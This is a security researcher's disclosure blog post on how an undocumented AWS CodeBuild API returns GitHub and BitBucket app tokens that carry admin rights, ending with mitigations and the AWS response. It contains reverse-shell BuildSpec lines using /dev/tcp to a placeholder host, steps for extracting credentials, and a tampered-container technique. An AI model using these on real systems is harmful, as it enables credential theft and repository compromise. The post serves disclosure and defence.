• Part 2: AWS CodeBuild (Escalating Privileges via AWS CodeConnections)

  • Back
 by 

TL;DR: From an unprivileged CodeBuild job using CodeConnections you can hit an undocumented API to retrieve the raw GitHub App token or BitBucket JWT App token CodeConnections uses. These tokens can be used directly against GitHub/BitBucket APIs and have the full permissions of the CodeConnection App you installed into your GitHub/BitBucket. In GitHub and BitBucket, the CodeConnection App has read, write and administration permissions (in most cases) on all repositories under your organisation. The administration permission allows branch protections and other source code provider protections to be disabled by an attacker allowing them to directly write to your organisation repositories and infecting application code, CI/CD workflows and IaC across your 1000s of repositories.

If you use CodeConnections but not CodeBuild then you are still susceptible as an attacker could spin up a new CodeBuild job in your AWS account to grab the tokens given the right permissions. Mitigating the issue requires preventing the use of CodeConnections with CodeBuild via blocking codestar-connections:GetConnectionToken and codeconnections:GetConnectionToken permissions which is best achieved via an SCP.


In this series of blogposts we’ll be taking an in-depth look at the security of AWS CodeConnections and their use in several different AWS Services. As CodeConnections become supported in more AWS services, it is important for us to understand exactly how CodeConnections work, what their limitations are and what security controls can be applied to ensure our code repositories and infrastructure stays secure.

This series of blog posts aims to answer the question, can we significantly escalate our privileges via the source code provider permissions granted to AWS if we can compromise a single AWS account or single AWS service such as CodePipeline. You can view all the posts in this series by visiting my AWS CodeConnection project page.

In the first post of the series we covered a primer on AWS CodeConnections and the Apps that are installed into the source code providers. We focused on what permissions AWS CodeConnection gets and the limitations on restricting these permissions.

In this post we will be looking in depth at how AWS CodeBuild uses CodeConnections. During the course of my research presented in this blog post I have engaged with AWS Security via their VDP and worked with them through the disclosure process. An official response from AWS and disclosure timeline can be found at the end of this post.

What is AWS CodeBuild

According to AWS, CodeBuild is a fully managed build service in the cloud.

For those not familiar, you can think of it as cloud-hosted compute that can take input, run some build commands and then output an artefact.

How does CodeBuild work with CodeConnections?

The first step in most CodeBuild projects is to obtain some source code. You then run your build commands on top of this source code.

CodeBuild can pull source code from several different places such as S3, GitHub, etc. When specifying the source location of GitHub, GitLab or Bitbucket, CodeBuild will allow you to use a few different authentication methods:

  • CodeConnection
  • OAuth connections
  • Personal access tokens

In this post we are going to focus on using CodeBuild with GitHub, Bitbucket and GitLab via the CodeConnection option.

IAM Role

When creating a CodeBuild project using a CodeConnection via the console it will create an IAM role for you. It has the following permissions:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": [
                "codestar-connections:GetConnectionToken",
                "codestar-connections:GetConnection",
                "codeconnections:GetConnectionToken",
                "codeconnections:GetConnection",
                "codeconnections:UseConnection"
            ],
            "Resource": [
                "arn:aws:codestar-connections:REGION:ACCOUNT_ID:connection/CONNECTION_ID",
                "arn:aws:codeconnections:REGION:ACCOUNT_ID:connection/CONNECTION_ID"
            ]
        }
    ]
}

As can be seen, it adds both the CodeStar scoped permissions and the CodeConnection scoped permissions for backwards compatibility with the old naming format and there are 3 different permission actions.

Exploring these permissions we find that:

  • The GetConnection permission is used when setting up the CodeBuild project but not during a build. Updating a CodeBuild project will fail if this permission is missing from the CodeBuild service role.
  • The UseConnection permission is only used when the CodeConnection is of type GitLab (as we’ll discuss later). It is not needed if you are using GitHub or BitBucket.
  • The GetConnectionToken permission is used when the CodeConnection is of type GitHub or BitBucket.

Therefore, in most cases (excluding GitLab) during the actual build of a CodeBuild project, only the GetConnectionToken permission is used. This permission sounds interesting and we’ll be exploring it later.

Exploring a CodeBuild build

Now we are going to explore the build environment like we did in the CodePipeline post. To do this we’ll again setup a reverse listener and trigger a reverse shell in CodeBuild using the following BuildSpec:

version: 0.2

phases:
    build:
    commands:
        - /bin/bash -l > /dev/tcp/REV_SHELL_IP/REV_SHELL_PORT 0<&1 2>&1

GitLab

Looking first at a CodeBuild project using a GitLab CodeConnection, we observe the same behaviour as in CodePipeline where a CodeConnection git proxy is used:

$ git remote -v
origin  https://codeconnections.eu-north-1.amazonaws.com/git-http/AWS_ACCOUNT/AWS_REGION/8ce09f63-0064-4db9-8e73-45c13ba3c5a4/thomaspreece-test-org/repo-1.git (fetch)
origin  https://codeconnections.eu-north-1.amazonaws.com/git-http/AWS_ACCOUNT/AWS_REGION/8ce09f63-0064-4db9-8e73-45c13ba3c5a4/thomaspreece-test-org/repo-1.git (push)

We will look at this git proxy in later blogposts so won’t explore how it works any further in this post but that explains why the UseConnection permission is added to the CodeBuild IAM service role as it is needed to access this git proxy.

GitHub & BitBucket

Inside the CodeBuild environment we can see that our source code repository has been cloned and set as the working directory. We can also see that the git repository was cloned and not copied from a zip as the .git folder is present and git commands function.

Looking at the git remote for both GitHub and BitBucket sources we see a different behaviour to GitLab, CodeBuild clones them directly from the source code provider:

$ git remote -v
origin  https://github.com/thomaspreece-test-org/repo-1 (fetch)
origin  https://github.com/thomaspreece-test-org/repo-1 (push)
$ git remote -v 
origin  https://bitbucket.org/thomaspreece-test-org/repo-1 (fetch)
origin  https://bitbucket.org/thomaspreece-test-org/repo-1 (push)

If we try to do a git pull / git push then we get an error around unknown username:

$ git pull origin main
fatal: could not read Username for 'https://github.com': No such device or address

So we can see the git repository was cloned but cannot perform further actions against the remote. This poses the question of what credentials were used to do this clone in the first place.

After doing some digging, CodeBuild has an environment variable that can be added to enable the git-credential-helper (See CodeBuild BuildSpec Userguide) which may be able to help us with not being able to access the source code remote.

CodeBuild Git-Credentials-Helper

Next up we want to explore what we can access when the git-credentials-helper is enabled in a CodeBuild project. We update the BuildSpec and do some further experimentation

version: 0.2

env:
    git-credential-helper: yes

phases:
    build:
    commands:
        - /bin/bash -l > /dev/tcp/REV_SHELL_IP/REV_SHELL_PORT 0<&1 2>&1

After enabling this, we can now perform git pull and git push actions on the source code repo that the CodeBuild project was setup with.

Cloning new repositories

We can perform git pull and push operations on one repository, do we also have access to clone new repositories that the CodeConnection has access to?

Using git clone resulted in errors so we don’t appear to have access to other repositories.

Using the CodeBuild Git-Credentials-Helper

We have some level of access to the source code provider so we should understand how that works.

If we have a look at the git config of the repository we see the following lines:

$ git config --list
credential.usehttppath=true
credential.helper=
credential.helper=/codebuild/readonly/bin/git-credential-helper

As we can see, CodeBuild has setup a standard git credentials helper available at /codebuild/readonly/bin/git-credential-helper. You can understand more about gitcredentials from the gitcredentials documentation and git-credential documentation.

From the documentation we can see that the git-credentials-helper can be run and then accepts text on stdin before outputting credentials.

Trying that in the CodeBuild context with GitHub we get the following:

$ /codebuild/readonly/bin/git-credential-helper get
> protocol=https
> host=github.com
> path=thomaspreece-test-org/repo-1.git
> 
> 
< username=ghs_***********
< password=ghs_***********

Note: the host and path must match the repository that the CodeBuild project was setup with otherwise this command will error.

We can see that this credential helper has provided us a username and password (both ghs_******). We can do the same with BitBucket CodeConnections and we’ll get a BitBucket username and password (x-token-auth and a set of random characters). These credentials that are returned are the one used against the source code provider when we perform the git pull and git push operations on the source code repository that the CodeBuild project was setup with.

Leveraging the Git-Credential-Helper Credential

Now we have credentials, they can be used directly to clone other repositories:

$ git config --global --unset-all credential.helper
$ git clone https://USERNAME:[email protected]/thomaspreece-test-org/repo-2.git
Cloning into 'repo-2'...

So we now have the ability to clone other repositories the CodeConnection has access to. We can also push to these other repositories. Later on in this post we test exactly what permissions this token has.

Exfiltrating Credentials without Credential Agent Requirement

We’ve so far shown that you can exfiltrate the token for the source code provider from CodeBuild when used with GitHub Cloud or BitBucket Cloud CodeConnections. However, this relies on the CodeBuild BuildSpec having the credential agent enabled.

We are next going to dive into the internals of how /codebuild/readonly/bin/git-credential-helper and CodeBuild in general works and see where this credential actually comes from and if we can obtain it without the credential agent requirement. For this, we lean heavily on the ideas of monitoring network traffic in CodeBuild presented by carlospolop and significantly improve on the idea.

We start off monitoring network traffic via starting up tcpdump in a privileged CodeBuild job and requesting a credential. We then observe the following:

  • /codebuild/readonly/bin/git-credential-helper connects to localhost:7831 to request the credential. It uses the CODEBUILD_AUTH_TOKEN environment variable to authenticate.
  • /codebuild/readonly/agent is bound to localhost:7831. It is ran before our build commands are executed (as part of the CodeBuild bootstrapping).
  • /codebuild/readonly/agent may cache the credential when started or it may make network requests to get it but we cannot spy on these network requests as they are using https/TLS and/or made before our build commands run.

We can run ps -ef --forest to understand what starts up /codebuild/readonly/agent and how the CodeBuild bootstrapping unfolds.

root         1     0  0 12:21 ?        00:00:00 /bin/sh /usr/local/bin/dockerd-entrypoint.sh /codebuild/bootstrap/linux-bootstrap -zipName="onebox-linux-binaries.zip" -url="https://codefactory-eu-west-1-prod-default-build-agent-executor.s3.eu-west-1.amazonaws.com/onebox-linux-binaries.zip" 
root         7     1  1 12:21 ?        00:00:00 /usr/local/bin/dockerd --host=unix:///var/run/docker.sock --host=tcp://127.0.0.1:2375 --storage-driver=overlay2
root        38     7  0 12:21 ?        00:00:00  \_ containerd --config /var/run/docker/containerd/containerd.toml
root       241     1  3 12:21 ?        00:00:00 /codebuild/bootstrap/linux-bootstrap -zipName=onebox-linux-binaries.zip -url=https://codefactory-eu-west-1-prod-default-build-agent-executor.s3.eu-west-1.amazonaws.com/onebox-linux-binaries.zip
root       252   241  0 12:21 ?        00:00:00  \_ /bin/sh ./start
root       282   252  0 12:21 ?        00:00:00      \_ /codebuild/readonly/bin/executor
root       349   282  0 12:21 ?        00:00:00      |   \_ /bin/sh /codebuild/output/tmp/script.sh
root       351   349  0 12:21 ?        00:00:00      |       \_ ps -ef --forest
root       283   252  0 12:21 ?        00:00:00      \_ tee /codebuild/readonly/executor-log
root       284   252  2 12:21 ?        00:00:00      \_ ./agent -port=7831

From the output of that command we can see that the CodeBuild bootstrapping works as follows:

  • First the CodeBuild Linux bootstrap is started and pulls some binaries: /bin/sh /usr/local/bin/dockerd-entrypoint.sh /codebuild/bootstrap/linux-bootstrap -zipName="onebox-linux-binaries.zip" -url="https://codefactory-eu-west-1-prod-default-build-agent-executor.s3.eu-west-1.amazonaws.com/onebox-linux-binaries.zip"
  • From that Linux bootstrap, /codebuild/readonly/start is ran
  • This start then starts up the following:
    • Agent via /codebuild/readonly/agent -port=7831
    • Executor via/codebuild/readonly/bin/executor. This then starts the user provided build commands

From the above it is clear that we need to intercept https traffic and do this before the CodeBuild /codebuild/readonly/agent is started to really get a clear idea where the credential comes from.

Custom CodeBuild Container

If we want to run our code before the CodeBuild bootstrapping then the only option we have is to use a custom container with CodeBuild.

Looking at the process tree, almost all files executed are within the /codebuild folder which is readonly and mounted into the container so we cannot change these files within our container image as any changes will get overwritten by the mount. However, the first command that is run is /bin/sh which isn’t mounted into the container so we can tamper with it in the container image to tamper with the CodeBuild bootstrapping.

To solve this problem, I developed the AWS-CodeBuild-HTTP-Intercept-Image. This image works by replacing the SH binary in the image with code that:

  • Executes a reverse shell
  • Starts tcpdump and mitmdump
  • Waits for /start-bootstrap to be present in the filesystem
  • Once present, starts original payload using normal SH binary
  • Prevents job ending if /debug-bootstrap is present in the filesystem (for extra debugging time)

This allows us to run our custom monitoring code before any of the CodeBuild bootstrapping starts giving us full visibility of network requests made during starting of /codebuild/readonly/agent and the other CodeBuild binaries.

One issue I did encounter was the CodeBuild bootstrapping failing when mitmproxy was used to intercept https. I suspected that the CodeBuild binaries were not using the image’s trusted CA store so the mitmproxy certificate was not being trusted and hence CodeBuild binaries were failing the https connections. After doing some basic reverse engineering of the /codebuild/readonly/agent binary (written in Go), my suspicious turned out to be true and they instead load in CAs from /codebuild/bootstrap/default-certs/cacert.pem. As previously discussed, this folder is mounted into the container and is read-only so we cannot directly tamper with it in the container image. However, if the container is run as privileged then we can mount a new folder on top of this one within the code that we run before the CodeBuild bootstrapping. This new folder can then have the correct CAs in it so that mitmproxy is trusted.

Intercepting HTTPS

We now have a container that monitors network traffic and intercepts http/https before CodeBuild bootstrapping begins. This means that we can gather a pcap file, TLS keys to decode https connections and an overview of the https requests while CodeBuild bootstrapping runs.

Analysing the network capture we see:

  • Requests made to Container Credentials endpoint (http://169.254.170.2/v2/credentials/BUILD_ID)
  • Requests made to AWS Logging endpoint (https://logs.eu-west-2.amazonaws.com/)
  • Requests to the source code provider (GitHub / BitBucket)
  • Requests made to https://codebuild-builds.eu-west-2.amazonaws.com/

The requests made to https://codebuild-builds.eu-west-2.amazonaws.com/ include the following operations:

CoFaTokenService_Agent.GetBuildInfo
CoFaTokenService_Agent.ReportBuildProgress
CoFaTokenService_Agent.SetBuildBranches

and the requests on https://logs.eu-west-2.amazonaws.com/ include the following operations:

Logs_20140328.PutLogEvents

The most interesting requests seen in the capture are the CodeBuild-Builds endpoint requests (https://codebuild-builds.{REGION}.amazonaws.com/) as this is an undocumented AWS API. Looking at the requests further we see that the SigV4 request to https://codebuild-builds.eu-west-2.amazonaws.com/ using the X-Amz-Target: CoFaTokenService_Agent.GetBuildInfo operation returns back the GitHub/BitBucket credential that the git-credential-helper provides.

    {
        --SNIP--
        "sourceLocation": {
            "__type": "com.amazonaws.cofatokenservice#SourceLocation",
            "buildSpecOverride": "--SNIP--",
            "credentials": {
                "authServerType": "github",
                "authTokenType": "OAUTH",
                "password": "ghs_TOKEN",
                "username": "ghs_TOKEN"
            },
            "gitCloneDepth": 1,
            "gitSubmodulesConfig": {
                "authTokens": [],
                "failedAuthTokens": {},
                "fetchSubmodules": false
            },
            "insecureSsl": false,
            "location": "https://github.com/thomaspreece-test-org/repo-1",
            "reportBuildStatus": false,
            "type": "github"
        }
    }
CodeFactory Token Service API

As we discovered in the previous section, AWS have an API at https://codebuild-builds.{REGION}.amazonaws.com/ which accepts operations that start with the name CoFaTokenService_Agent. CoFa is shorthand for CodeFactory which is the original name for CodeBuild.

Analysing the strings within the /codebuild/readonly/agent binary we can see that the following operations exist on this API:

CoFaTokenService_Agent.BootstrapNonContainerBuild
CoFaTokenService_Agent.GetBuildBatchInfo
CoFaTokenService_Agent.GetBuildInfo
CoFaTokenService_Agent.GetBuildRunnerInfo
CoFaTokenService_Agent.GetReportTokens
CoFaTokenService_Agent.RegisterCustomPhases
CoFaTokenService_Agent.ReportAgentHeartbeat
CoFaTokenService_Agent.ReportBatchBuildStatus
CoFaTokenService_Agent.ReportBuildProgress
CoFaTokenService_Agent.ReportMetrics
CoFaTokenService_Agent.SetBuildBranches

I’ve only explored the CoFaTokenService_Agent.GetBuildInfo operation. The other operations are areas of future research.

To use the CoFaTokenService_Agent.GetBuildInfo operation, I developed a small Python program in the AWS-CodeFactoryTokenService-API repository which can be used to make the operation within CodeBuild using the CodeBuild service role credentials.

After testing this endpoint further, we note the following:

  • This endpoint returns back credentials within CodeBuild for GitHub Cloud and BitBucket Cloud when accessing via a CodeConnection and using the CodeBuild Default project (i.e. doesn’t work if you are using CodeBuild as a Runner project).
  • The Credential Agent does not need to be enabled in the BuildSpec for the credentials to be returned successfully
  • The CodeBuild build does not need to be privileged for the credentials to be returned successfully.
  • A call to this endpoint is logged to CloudTrail under a GetConnectionToken event. However, a standard CodeBuild job logs this event at least 16 times (as the CodeBuild bootstrapping calls this endpoint a lot) so one extra log of this event would not look unusual.

This endpoint isn’t just valuable for CodeConnections however. If you have setup a CodeBuild job with OAuth credentials or a personal access token as authentication then they will also appear in the CoFaTokenService_Agent.GetBuildInfo response too.

Summary of Credential Exfiltration

In this section we’ve shown that sending an authenticated request (via CodeBuild service role) to an undocumented CodeBuild API, you can exfiltrate a credential for GitHub Cloud or BitBucket Cloud from within a CodeBuild build job that uses CodeConnections. We’ve also shown that this endpoint can be used to exfiltrate OAuth and personal access tokens when not using CodeConnections.

This API request can be made without requiring any special features enabled on the CodeBuild project such as enabling the credential agent or running the container as privileged.

Testing the Exfiltrated Credentials (GitHub)

Now we’ve shown that we can exfiltrate a credential for GitHub Cloud from within any non-runner CodeBuild build job that uses CodeConnections, the question now becomes, what permissions do these credentials have?

Permissions

The credentials returned for GitHub all start with ghs_ when the CodeConnection is setup to connect as a bot (see part 1 for more details). Looking at the GitHub Authentication Documentation, we can see that a ghs_ token is an “Installation access token for a GitHub App”. If your CodeConnection is setup as to connect as a GitHub user (see part 1 for more details) then you’ll instead get a ghu_ token.

This poses the question, does this ghs_ token have the same permissions as the “AWS Connector for Github” App has or does it have reduced scopes/permissions? For this we can use the code at https://github.com/thomaspreece/GitHubApp-Token-Tester.

GH_APP_KEY=ghs_TOKEN GH_REPO_NAME="repo-1" GH_REPO_ORG="thomaspreece-test-org" python ./test_app_permissions.py
SUCCESS: Permissions: None Required
SUCCESS: Permissions: "Metadata" repository permissions (read)
SUCCESS: Permissions: "Actions" repository permissions (read)
FAIL: Permissions: "Actions" repository permissions (write)
SUCCESS: Permissions: "Administration" repository permissions (read)
SUCCESS: Permissions: "Administration" repository permissions (write)
SUCCESS: Permissions: "Contents" repository permissions (read)
SUCCESS: Permissions: "Contents" repository permissions (write)
SUCCESS: Permissions: "Commit Statuses" repository permissions (read)
SUCCESS: Permissions: "Commit Statuses" repository permissions (write)
SUCCESS: Permissions: "Deployments" repository permissions (read)
SUCCESS: Permissions: "Environments" repository permissions (read)
FAIL: Permissions: "Environments" repository permissions (write)
SUCCESS: Permissions: "Issues" repository permissions (read)
SUCCESS: Permissions: "Pull Requests" repository permissions (read)
SUCCESS: Permissions: "Pull Requests" repository permissions (write)
SUCCESS: Permissions: "Webhooks" repository permissions (read)
SUCCESS: Permissions: "Webhooks" repository permissions (write)
SUCCESS: Permissions: "Members" organisation permissions (read)
SUCCESS: Permissions: "Webhooks" organisation permissions (read)
SUCCESS: Permissions: "Webhooks" organisation permissions (write)
SUCCESS: Permissions: "Self Hosted Runners" organisation permissions (read)
SUCCESS: Permissions: "Self Hosted Runners" organisation permissions (write)

As we can see, the token has the same permissions as the “AWS Connector for Github” has on your organisation which could be significant and very damaging if used.

Damage

Only one instance of the “AWS Connector for Github” can be installed under a GitHub organisation and any CodeConnectors that need access to repositories under this GitHub organisation will have to use this one instance of the app. Therefore, in a large organisation, this “AWS Connector for Github” application will be able to access a significant proportion of the source code repositories.

As the exfiltrated credential has the same permissions as the “AWS Connector for GitHub” app, the credential could be leveraged by an attacker to:

  • Read all repositories the app has access to, write to any branch they want and even delete the repositories
  • Remove any branch/ruleset protections that enforce PRs.
  • Remove any GitHub environment restrictions that require approval to deploy to AWS from a GitHub Action.
  • Edit GitHub Action workflows or edit any other CI/CD build scripts.
  • Add new administrators to the repository. Remove existing administrators.
  • Read GitHub secrets or environment secrets
  • Register rogue GitHub organisation action runners

Testing the Exfiltrated Credentials (BitBucket)

Now we’ve shown that we can exfiltrate a credential for BitBucket Cloud from within any non-runner CodeBuild build job that uses CodeConnections, the question now becomes, what permissions do these credentials have?

BitBucket Cloud

Unlike GitHub, BitBucket doesn’t use a defined format for it’s tokens so the password we get is just a random collection of characters. The username of x-token-auth does give us some clues and after finding the BitBucket JWT Grant documentation documentation we see that we need to pass this password as Authorization: Bearer TOKEN header when hitting the BitBucket APIs.

We can now test our credentials against the api-user-get endpoint. Using curl and the credential we get the following:

$ curl -v --request GET --url 'https://api.bitbucket.org/2.0/user' -H "Authorization: Bearer $TOKEN" --header 'Accept: application/json'
--snip--
< x-credential-type: jwt                                                                                 
< x-app-key: aws-codestar              
< x-oauth-scopes: account, repository:write, repository:admin, pullrequest, pullrequest:write, webhook    
--snip--                            
{"display_name": "Thomas Preece", "links": {"self": {"href": "https://api.bitbucket.org/2.0/users/%7B2d65a29f-5da4-4e46-af0e-41c43c6179b0%7D"}, "avatar": {"href": "https://secure.gravatar.com/avatar/46663183b1f0
b840d80334e5897a3dbd?d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FTP-4.png"}, "repositories": {"href": "https://api.bitbucket.org/2.0/repositories/%7B2d65a29f-5da4-4
e46-af0e-41c43c6179b0%7D"}, "snippets": {"href": "https://api.bitbucket.org/2.0/snippets/%7B2d65a29f-5da4-4e46-af0e-41c43c6179b0%7D"}, "html": {"href": "https://bitbucket.org/%7B2d65a29f-5da4-4e46-af0e-41c43c617
9b0%7D/"}, "hooks": {"href": "https://api.bitbucket.org/2.0/workspaces/%7B2d65a29f-5da4-4e46-af0e-41c43c6179b0%7D/hooks"}}, "created_on": "2017-04-26T09:13:31.982366+00:00", "type": "user", "uuid": "{2d65a29f-5d
a4-4e46-af0e-41c43c6179b0}", "has_2fa_enabled": null, "username": "thomaspreece", "is_staff": false, "account_id": "557058:b46bafc9-e798-443c-b4f9-493a5d73b64f", "nickname": "thomaspreece", "account_status": "active", "location": null}

From this request we can see two interesting headers returned:

  • x-app-key: aws-codestar 
  • x-oauth-scopes: account, repository:write, repository:admin, pullrequest, pullrequest:write, webhook

As we can see, the scopes here again allow significant access to the repositories that the “AWS CodeStar application” has access to in your workspace.

Damage

As the exfiltrated credential has the same permissions as the “AWS Connector for GitHub” app, the credential could be leveraged by an attacker to:

  • Read all repositories in a workspace, write to any branch they want
  • Remove any branch protections that enforce PRs.
  • Edit CI/CD build scripts.

CodeBuild Runner Project

When using the “Runner project” option in CodeBuild, the CoFaTokenService_Agent.GetBuildInfo operation can still be used but in my testing it didn’t return any authorisation credentials.

Applying the same network monitoring setup with a GitHub CodeConnection on a CodeBuild runner project, we can see that the CodeBuild bootstrapping uses the CoFaTokenService_Agent.GetBuildRunnerInfo operation to gain a JIT GitHub Runner token. This is the only credential that is handled within the CodeBuild job when running as a runner project so we cannot exfiltrate useful CodeConnection credentials in this project type.

Summary of Security Risk

Installing CodeConnections into a source code provider such as GitHub or BitBucket grants the AWS CodeConnections App (“AWS Connector for Github” in GitHub, “AWS CodeStar application” in BitBucket) a huge amount of permissions often on a huge amount of repositories in an organisation/workspace. The security issues presented in this post show that an attacker can gain a token within CodeBuild that grants them the same permissions on the source code provider as the CodeConnection App has. If you are a large organisation with 1000s of source code repositories and 100s of AWS accounts then via this issue, an attacker compromising just one AWS account (where they have permission to run a CodeBuild job against a CodeConnection in the account) or compromising one CodeBuild BuildSpec (using CodeConnections) could gain full access to your other code repositories via that CodeConnection. If you also build your infrastructure from those other code repositories too then the attacker would be able to tamper with CI/CD files in the repositories to gain access to your other cloud provider accounts.

Once the AWS CodeConnections App token is exfiltrated by the attacker, it can be used directly against the source code provider (i.e. GitHub/BitBucket) therefore use of this would not be exposed in any AWS logging or monitoring. Also any protections setup in GitHub or BitBucket to prevent tampering with build files/code such as branch protections, GitHub environment approvals, etc can be entirely bypassed as the permissions obtained include administration on the repositories.

As such, it is highly likely that the permissions granted will allow the attacker to modify CI/CD build files and IaC across all the repositories they now have administration access to. These CI/CD build files and IaC will then be automatically ran and deployed by the various team’s DevOps processes granting them further access to other cloud environments and infrastructure. This is particularly the case for GitHub Actions builds where all approvals to deploy to live will be done within GitHub environments which can be able to be controlled by the attacker with this token.

We’ve also shown that the same technique can be used within CodeBuild to exfiltrate credentials when not using CodeConnections and instead using OAuth or personal access tokens to connect to the source code providers.

Damage an Attacker could do

With access to a CodeBuild build environment that is using a GitHub Cloud or BitBucket Cloud CodeConnection, the attacker could cause:

  • Information Disclosure – Exfiltrate repository code
  • Compromise services – Sneaking new malicious code into a repository
  • DOS/Ransomware – Copy then delete all repositories in organisation
  • Reputation Damage – Create new public repositories with questionable content in
  • Lateral movement – Compromise other repositories, CI/CD pipelines and cloud environments

Recommendations

Monitoring

The exfiltration of this credential will show up as a GetConnectionToken event in CloudTrail, however a standard CodeBuild build calls this endpoint 10+ times resulting in at least 10 GetConnectionToken events in CloudTrail for each run of the build. Therefore an extra GetConnectionToken log event will not look unusual and will contain the same details as the legitimate calls. Therefore, the best way to detect this is to monitor the source code provider logging and look for unusual activities done by the CodeConnection App(s) instead.

Mitigations
  • Unlike the IAM permission UseConnectionGetConnectionToken doesn’t have any condition keys that can be used with it as detailed in the AWS service authorisation documentation.
  • The only mitigation here is to prevent use of CodeConnections with the CodeBuild service:
    • Regardless of whether you typically use a CodeConnection with CodeBuild or not in an AWS account, a user with sufficient permissions in an account with a CodeConnection would be able to start a new CodeBuild job and exfiltrate the credential so the risk is still present even if you don’t use CodeBuild.
    • The best way to mitigate this is to block the use of CodeConnections with CodeBuild by applying an SCP that blocks the codeconnections:GetConnectionToken and codestar-connections:GetConnectionToken actions across your AWS organisation. This should only affect CodeConnetions with CodeBuild. All other services using CodeConnections should continue to function correctly based on my testing (your mileage may vary however).

Reporting to AWS

The ability to gain the raw access token from within CodeBuild was reported to AWS via their VDP programme on 19th October 2025. They engaged and verified the report very quickly which was a very pleasant experience. AWS provided the following comment in regard to the report and blog post:

We thank Thomas Preece for engaging AWS Security and AWS investigated all reported items highlighted in this blog post.

CodeBuild [1] and CodeConnections are intended to be used in customer environments between trusted developers and assumes its contributors are appropriate for the credentials and scope of permissions provided to the CodeBuild environment. The Internal API referenced in this blog post is a core component of the CodeBuild service and is used to allow the build environment to communicate with the source code provider.

AWS recommends AWS CodeBuild project owners enable CodeBuild Projects Pull request comment approval functionality [2] during the build process. This feature helps you enhance security by requiring trusted contributor approval before building code from untrusted contributors, and is designed specifically for private repositories. For public repositories that require supporting automatic builds of external contributions, we also advise using CodeBuild’s self-hosted GitHub Actions runners feature [3].

[1] https://docs.aws.amazon.com/codebuild
[2] https://docs.aws.amazon.com/codebuild/latest/userguide/pull-request-build-policy.html
[3] https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner-overview.html

Timeline Overview

  • 19th October 2025 – First reported to AWS VDP
  • 23rd October 2025 – Report triaged by AWS VDP
  • 6th January 2026 – AWS VDP member provided update on status
  • 1st April 2026 – Part 2 Blog post first published